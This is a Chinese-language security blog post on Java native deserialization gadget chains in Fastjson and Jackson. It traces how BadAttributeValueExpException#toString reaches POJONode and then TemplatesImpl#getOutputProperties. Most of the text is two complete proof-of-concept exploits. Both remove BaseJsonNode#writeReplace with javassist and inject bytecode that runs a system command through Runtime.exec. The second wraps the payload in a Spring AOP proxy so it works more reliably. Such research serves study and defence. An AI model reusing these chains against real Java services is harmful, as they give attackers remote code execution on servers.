Jackson跟fastjson很相近,所以前言还是从fastjson过渡过来。
前言
主要还是介绍Jackson原生反序列化引用。
这里从Fastjson重新开始说起:
在Fastjson中,JSONArray
和JSONObject
都实现了Serializable
接口,这两个类的toString
方法都能触发toJSONString
的调用,要把一个JSON对象转字符串,必然涉及到对象属性的获取,会调用到对象的getter方法。
从1.2.49开始,JSONArray
和JSONObject
都实现了自己的readObject
方法,自定义了一个SecureObjectInputStream
并重写了resolveClass
方法,里面调用了checkAutoType
来对反序列化的类进行黑白名单检查。需要通过原生反序列化的引用机制来绕过。
利用链:
1 2 3
| toString(e.g. BadAttributeValueExpException#readObject) -> toJSONString -> evil getter(e.g. TemplatesImpl#getOutputProperties)
|
Jackson 浅审
Jackson的使用和Fastjson类似
FastJson |
Jackson |
JSONObject |
ObjectNode |
JSONArray |
ArrayNode |
JSON.parseObject静态调用 |
ObjectMapper.readTree对象调用 |
继承关系:POJONode
->ValueNode
->BaseJsonNode
-> JsonNode
利用点在BaseJsonNode#toString
,跟到后面 ,对于自定义的类使用BeanSerializer
进行反序列化,调用serializeFields
对属性进行还原时,BeanPropertyWriter
调用getter
。
还是用TemplatesImpl#getOutputProperties
去打,但是这里直接反序列化会出现问题
Failed to JDK serialize POJONode
value: (was java.lang.NullPointerException) (through reference chain: com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl[“outputProperties”])
报错StackTrace:
invokeWriteReplace
判断writeReplaceMethod
是否存在,存在则调用:
那么我们只需要使用javassist把这个类的writeReplaceMethod
删掉即可。
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| import com.fasterxml.jackson.databind.node.POJONode; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import javassist.*;
import javax.management.BadAttributeValueExpException; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field;
public class Test { public static void setValue(Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); } public static void main(String[] args) throws Exception{ CtClass ctClass =ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtMethod ctMethod = ctClass.getDeclaredMethod("writeReplace"); ctClass.removeMethod(ctMethod); ctClass.toClass();
ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass("a"); CtClass superClass = pool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz); constructor.setBody("Runtime.getRuntime().exec(\"calc\");"); clazz.addConstructor(constructor); byte[][] bytes = new byte[][]{clazz.toBytecode()}; TemplatesImpl templates = TemplatesImpl.class.newInstance(); setValue(templates, "_bytecodes", bytes); setValue(templates, "_name", "test"); setValue(templates, "_tfactory", null);
POJONode pojo = new POJONode(templates);
BadAttributeValueExpException bd = new BadAttributeValueExpException(null); setValue(bd, "val", pojo);
ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(bd); oos.close(); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray())); ois.readObject(); } }
|
稳定版本:从JSON1链中学习处理JACKSON链的不稳定性 - 先知社区 (aliyun.com)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73
| import com.fasterxml.jackson.databind.node.POJONode; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor; import javassist.CtMethod; import org.springframework.aop.framework.AdvisedSupport;
import javax.management.BadAttributeValueExpException; import javax.xml.transform.Templates; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy;
public class JSON { public static void main(String[] args) throws Exception { CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace"); ctClass.removeMethod(writeReplace); ctClass.toClass(); POJONode node = new POJONode(makeTemplatesImplAopProxy("calc")); BadAttributeValueExpException val = new BadAttributeValueExpException(null); setFieldValue(val, "val", node);
serialize(val); }
public static void setFieldValue(Object obj, String name, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); }
public static void serialize(Object o) throws Exception { ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(o); oos.close(); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray())); ois.readObject(); }
public static Object makeTemplatesImplAopProxy(String cmd) throws Exception { AdvisedSupport advisedSupport = new AdvisedSupport(); advisedSupport.setTarget(makeTemplatesImpl(cmd)); Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class); constructor.setAccessible(true); InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport); Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler); return proxy; }
public static Object makeTemplatesImpl(String cmd) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass("a"); CtClass superClass = pool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz); constructor.setBody("Runtime.getRuntime().exec(\"calc\");"); clazz.addConstructor(constructor); byte[][] bytes = new byte[][]{clazz.toBytecode()}; TemplatesImpl templates = TemplatesImpl.class.newInstance(); setFieldValue(templates, "_bytecodes", bytes); setFieldValue(templates, "_name", "test"); return templates; } }
|
对于Jackson的getter利用,也可以看:
【Web】浅聊Jackson序列化getter的利用——POJONode-CSDN博客
这里Z3r4y师傅介绍了Jackson的getter利用Template和SignedObject二次反序列化的内容。
参考:
Jackson的原生反序列化利用 | Java (gitbook.io)